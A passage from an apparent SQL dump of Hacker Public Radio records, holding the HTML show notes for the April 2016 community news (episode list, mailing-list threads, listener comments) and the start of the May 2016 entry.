align=\"left\">2016-04-14</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2009\" target=\"_blank\">Understanding the GNU/Screen Hardstatus line</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=252\" target=\"_blank\">Curtis Adkins (CPrompt^)</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2010\" target=\"_blank\">2010</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-04-15</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2010\" target=\"_blank\">Parsing JSON with Python</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2011\" target=\"_blank\">2011</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-04-18</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2011\" target=\"_blank\">Introduction to sed - part 4</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2012\" target=\"_blank\">2012</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-04-19</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2012\" target=\"_blank\">Parsing XML in Python with Untangle</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2013\" target=\"_blank\">2013</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-04-20</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2013\" target=\"_blank\">Parsing XML in Python with Xmltodict</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2014\" target=\"_blank\">2014</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-04-21</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2014\" target=\"_blank\">A first look at the Owon B35T Part 2</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2015\" target=\"_blank\">2015</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-04-22</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2015\" target=\"_blank\">Linux in the Church</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=328\" target=\"_blank\">Joe</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2016\" target=\"_blank\">2016</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-04-25</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2016\" target=\"_blank\">Echoprint</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=257\" target=\"_blank\">laindir</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2017\" target=\"_blank\">2017</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-04-26</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2017\" target=\"_blank\">Here are my thoughts on a 3D printer Kit.</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=307\" target=\"_blank\">cheeto4493</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2018\" target=\"_blank\">2018</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-04-27</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2018\" target=\"_blank\">How to make Komboucha Tea</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2019\" target=\"_blank\">2019</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-04-28</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2019\" target=\"_blank\">a pi project and an owncloud project</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=255\" target=\"_blank\">Matt McGraw (g33kdad)</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2020\" target=\"_blank\">2020</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-04-29</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2020\" target=\"_blank\">Automotive Billing</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=329\" target=\"_blank\">brian</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the <a href=\"https://hackerpublicradio.org/maillist\" target=\"_blank\">Mail List</a> which is open to all\nHPR listeners and contributors. The discussions are open and available on the\n<a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\narchive.\n</p>\n<p>The main threads this month were:</p>\n<ol>\n    <li><em>From:</em> NYbill &lt;nybill@...&gt;<br/>\n        <em>Date:</em> 2016-04-04 17:08:54 -0400<br/>\n        <em>Subject:</em> Fwd: Re: Defaults...<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1159\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1159</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-04-05 20:20:08 +0200<br/>\n        <em>Subject:</em> Call for shows<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1160\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1160</a><br/>\n        <em>Messages:</em> 5<br/><br/></li>\n    <li><em>From:</em> Mike Ray &lt;mike@...&gt;<br/>\n        <em>Date:</em> 2016-04-06 13:45:38 +0100<br/>\n        <em>Subject:</em> HTML notes accessibility pointer<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1161\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1161</a><br/>\n        <em>Messages:</em> 7<br/><br/></li>\n    <li><em>From:</em> Curtis Adkins &lt;curtadkins@...&gt;<br/>\n        <em>Date:</em> 2016-04-09 21:26:57 -0400<br/>\n        <em>Subject:</em> Upload show issue<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1168\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1168</a><br/>\n        <em>Messages:</em> 2<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-04-12 08:12:09 +0200<br/>\n        <em>Subject:</em> Fwd: CFP for Full Stack Fest 2016 has opened!<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1170\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1170</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-04-19 13:21:58 +0200<br/>\n        <em>Subject:</em> 11th Annual People&#39;s Podcast Awards<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1175\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1175</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-04-21 15:46:34 +0200<br/>\n        <em>Subject:</em> Fwd: for your podcast: interview about FOSS situation in	Russia<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1176\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1176</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Frank Bell &lt;frankwbell@...&gt;<br/>\n        <em>Date:</em> 2016-04-21 13:37:59 -0400<br/>\n        <em>Subject:</em> Proposed New Series<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1177\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1177</a><br/>\n        <em>Messages:</em> 8<br/><br/></li>\n    <li><em>From:</em> Carl D Hamann &lt;carl.hamann@...&gt;<br/>\n        <em>Date:</em> 2016-04-22 10:42:04 -0500<br/>\n        <em>Subject:</em> Re: Proposed New Series<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1184\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1184</a><br/>\n        <em>Messages:</em> 2<br/><br/></li>\n    <li><em>From:</em> Dave Morriss &lt;perloid@...&gt;<br/>\n        <em>Date:</em> 2016-04-25 15:27:13 +0100<br/>\n        <em>Subject:</em> HPR Community News - next Saturday on 2016-04-30T18:00:00Z<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1187\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1187</a><br/>\n        <em>Messages:</em> 5<br/><br/></li>\n    <li><em>From:</em> Fifty OneFifty &lt;fiftyonefifty@...&gt;<br/>\n        <em>Date:</em> 2016-04-25 21:56:10 -0500<br/>\n        <em>Subject:</em> Re: Hpr Digest, Vol 91, Issue 11<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1189\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1189</a><br/>\n        <em>Messages:</em> 3<br/><br/></li>\n    <li><em>From:</em> Carl D Hamann &lt;carl.hamann@...&gt;<br/>\n        <em>Date:</em> 2016-04-25 23:01:41 -0500<br/>\n        <em>Subject:</em> Re: HPR Community News - next Saturday on 2016-04-30T18:00:00Z<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1191\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1191</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Dave Morriss &lt;perloid@...&gt;<br/>\n        <em>Date:</em> 2016-04-30 18:21:57 +0100<br/>\n        <em>Subject:</em> Re: HPR Community News - next Saturday on 2016-04-30T18:00:00Z<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1196\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1196</a><br/>\n        <em>Messages:</em> 1<br/></li>\n</ol>\nTotal messages this month: 38<br/>\n\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.</p>\n<p>There are 46 comments:</p>\n<ul> \n<li><strong><a href=\"https://www.hackerpublicradio.org/eps.php?id=1987#comments\" target=\"_blank\">hpr1987</a></strong>\n(2016-03-15) \"<em>Pomodoro Timer - The Evolution of a Script (pt 1)</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=323\" target=\"_blank\">Nacho Jordi</a>.\n<ul>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=1987#2\" target=\"_blank\">Comment 2</a>:\nDavid L. Willson on 2016-04-17:\n\"changed my life\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1990#comments\" target=\"_blank\">hpr1990</a></strong>\n(2016-03-18) \"<em>Pomodoro Timer - The Evolution of a Script part deux</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=323\" target=\"_blank\">Nacho Jordi</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1990#1\" target=\"_blank\">Comment 1</a>:\nDavid L. Willson on 2016-04-17:\n\"found it!\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1993#comments\" target=\"_blank\">hpr1993</a></strong>\n(2016-03-23) \"<em>Can your window manager do this?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=323\" target=\"_blank\">Nacho Jordi</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1993#1\" target=\"_blank\">Comment 1</a>:\nsigflup on 2016-04-04:\n\"ratpoison\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hobbypublicradio.org/eps.php?id=1996#comments\" target=\"_blank\">hpr1996</a></strong>\n(2016-03-28) \"<em>Xdotool magic</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=323\" target=\"_blank\">Nacho Jordi</a>.\n<ul>  <li><a href=\"https://hobbypublicradio.org/eps.php?id=1996#1\" target=\"_blank\">Comment 1</a>:\nUrugami on 2016-04-18:\n\"File Naming\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1998#comments\" target=\"_blank\">hpr1998</a></strong>\n(2016-03-30) \"<em>Homebrewing</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1998#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2016-04-07:\n\"Would love to hear the full recoring\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1999#comments\" target=\"_blank\">hpr1999</a></strong>\n(2016-03-31) \"<em>How I record a full band under Linux</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=327\" target=\"_blank\">noplacelikeslashhome</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1999#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp on 2016-04-01:\n\"More on Ardour!\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1999#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2016-04-06:\n\"More detail\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2000#comments\" target=\"_blank\">hpr2000</a></strong>\n(2016-04-01) \"<em>How to Point a Satellite Dish</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2000#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2016-04-04:\n\"I tried very hard...\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2000#2\" target=\"_blank\">Comment 2</a>:\ndroops on 2016-04-04:\n\"Very Good\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2000#3\" target=\"_blank\">Comment 3</a>:\nFrank on 2016-04-05:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2000#4\" target=\"_blank\">Comment 4</a>:\nKen Fallon on 2016-04-06:\n\"Beep\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2001#comments\" target=\"_blank\">hpr2001</a></strong>\n(2016-04-04) \"<em>HPR Community News for March 2016</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2001#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp on 2016-04-04:\n\"Not a Timing Belt\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2002#comments\" target=\"_blank\">hpr2002</a></strong>\n(2016-04-05) \"<em>Just got a Raspberry Pi Zero</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\" target=\"_blank\">swift110</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2002#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2016-04-06:\n\"I&#39;m so jealous\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2003#comments\" target=\"_blank\">hpr2003</a></strong>\n(2016-04-06) \"<em>Using the Incron file watching daemon</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2003#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2016-04-06:\n\"Installing this now\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2004#comments\" target=\"_blank\">hpr2004</a></strong>\n(2016-04-07) \"<em>A First Look at the Owon B35T</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2004#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2016-04-07:\n\"daisy chain\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2004#2\" target=\"_blank\">Comment 2</a>:\nNYbill on 2016-04-07:\n\"Americanism&#39;s?\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2004#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2016-04-07:\n\"Not an Americanism to my knowledge\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2004#4\" target=\"_blank\">Comment 4</a>:\nKen Fallon on 2016-04-08:\n\"Why not what\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2004#5\" target=\"_blank\">Comment 5</a>:\nNYbill on 2016-04-08:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2005#comments\" target=\"_blank\">hpr2005</a></strong>\n(2016-04-08) \"<em>How I prepare and record my HPR Kdenlive voiceover shows.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=310\" target=\"_blank\">Geddes</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2005#1\" target=\"_blank\">Comment 1</a>:\nNYbill on 2016-04-10:\n\"Well done.\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2005#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2016-04-17:\n\"Such Effort\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2006#comments\" target=\"_blank\">hpr2006</a></strong>\n(2016-04-11) \"<em>Basic Audio Production - Compression</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=323\" target=\"_blank\">Nacho Jordi</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2006#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2016-04-17:\n\"Great Addition\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2007#comments\" target=\"_blank\">hpr2007</a></strong>\n(2016-04-12) \"<em>My new laptop</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2007#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2016-04-17:\n\"Suspect\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2007#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2016-04-18:\n\"I dunno what you&#39;re talking about\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2007#3\" target=\"_blank\">Comment 3</a>:\nAlpha32 on 2016-04-26:\n\"Interesting show\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2008#comments\" target=\"_blank\">hpr2008</a></strong>\n(2016-04-13) \"<em>HPR needs shows to survive.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2008#1\" target=\"_blank\">Comment 1</a>:\n0xf10e on 2016-04-13:\n\"But Ken, \"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2008#2\" target=\"_blank\">Comment 2</a>:\nJonathan Kulp on 2016-04-14:\n\"sure you can!\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2008#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2016-04-17:\n\"Thanks\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2009#comments\" target=\"_blank\">hpr2009</a></strong>\n(2016-04-14) \"<em>Understanding the GNU/Screen Hardstatus line</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=252\" target=\"_blank\">Curtis Adkins (CPrompt^)</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2009#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2016-04-22:\n\"Great show\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2010#comments\" target=\"_blank\">hpr2010</a></strong>\n(2016-04-15) \"<em>Parsing JSON with Python</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2010#1\" target=\"_blank\">Comment 1</a>:\nZen_Floater2 on 2016-04-14:\n\"squirrel\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2010#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2016-04-22:\n\"Don&#39;t like xpath !\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2011#comments\" target=\"_blank\">hpr2011</a></strong>\n(2016-04-18) \"<em>Introduction to sed - part 4</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2011#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2016-04-18:\n\"Wow\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2011#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2016-04-19:\n\"Thanks\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2011#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2016-04-22:\n\"Nice one\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2012#comments\" target=\"_blank\">hpr2012</a></strong>\n(2016-04-19) \"<em>Parsing XML in Python with Untangle</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2012#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2016-04-22:\n\"Normal Parsers\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2013#comments\" target=\"_blank\">hpr2013</a></strong>\n(2016-04-20) \"<em>Parsing XML in Python with Xmltodict</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2013#1\" target=\"_blank\">Comment 1</a>:\nsigflup on 2016-04-19:\n\"cool\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2013#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2016-04-22:\n\"large complex files \"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2014#comments\" target=\"_blank\">hpr2014</a></strong>\n(2016-04-21) \"<em>A first look at the Owon B35T Part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2014#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2016-04-21:\n\"Great Show\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2014#2\" target=\"_blank\">Comment 2</a>:\nNYbill on 2016-04-21:\n\"Its a brand new bench! \"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2014#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2016-04-25:\n\"Logging in android\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hobbypublicradio.com/eps.php?id=2015#comments\" target=\"_blank\">hpr2015</a></strong>\n(2016-04-22) \"<em>Linux in the Church</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=328\" target=\"_blank\">Joe</a>.\n<ul>  <li><a href=\"https://hobbypublicradio.com/eps.php?id=2015#1\" target=\"_blank\">Comment 1</a>:\njan on 2016-04-24:\"[no title]\"</li>  <li><a href=\"https://hobbypublicradio.com/eps.php?id=2015#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2016-04-25:\n\"Great episode\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2016#comments\" target=\"_blank\">hpr2016</a></strong>\n(2016-04-25) \"<em>Echoprint</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=257\" target=\"_blank\">laindir</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2016#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2016-04-25:\n\"Thank you Thank you Thank you Thank you \"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2019#comments\" target=\"_blank\">hpr2019</a></strong>\n(2016-04-28) \"<em>a pi project and an owncloud project</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=255\" target=\"_blank\">Matt McGraw (g33kdad)</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2019#1\" target=\"_blank\">Comment 1</a>:\nMatt (g33kdad) on 2016-04-23:\n\"Some photos\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2019#2\" target=\"_blank\">Comment 2</a>:\nJonathan Kulp on 2016-04-30:\n\"Muttonchop too\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2020#comments\" target=\"_blank\">hpr2020</a></strong>\n(2016-04-29) \"<em>Automotive Billing</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=329\" target=\"_blank\">brian</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2020#1\" target=\"_blank\">Comment 1</a>:\nFrank on 2016-04-30:\"[no title]\"</li></ul>\n</li>\n</ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2046,'2016-06-06','HPR Community News for May 2016',4534,'HPR Community News for May 2016','<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=330\" target=\"_blank\">Bitbox</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=331\" target=\"_blank\">njulian</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=332\" target=\"_blank\">schism</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=333\" target=\"_blank\">pope523</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=334\" target=\"_blank\">Steve Saner</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=335\" target=\"_blank\">matthew</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=336\" target=\"_blank\">Lyle Lastinger</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n    <tr>\n    <th align=\"left\">Id</th>\n    <th align=\"left\">Day</th>\n    <th align=\"left\">Date</th>\n    <th align=\"left\">Title</th>\n    <th 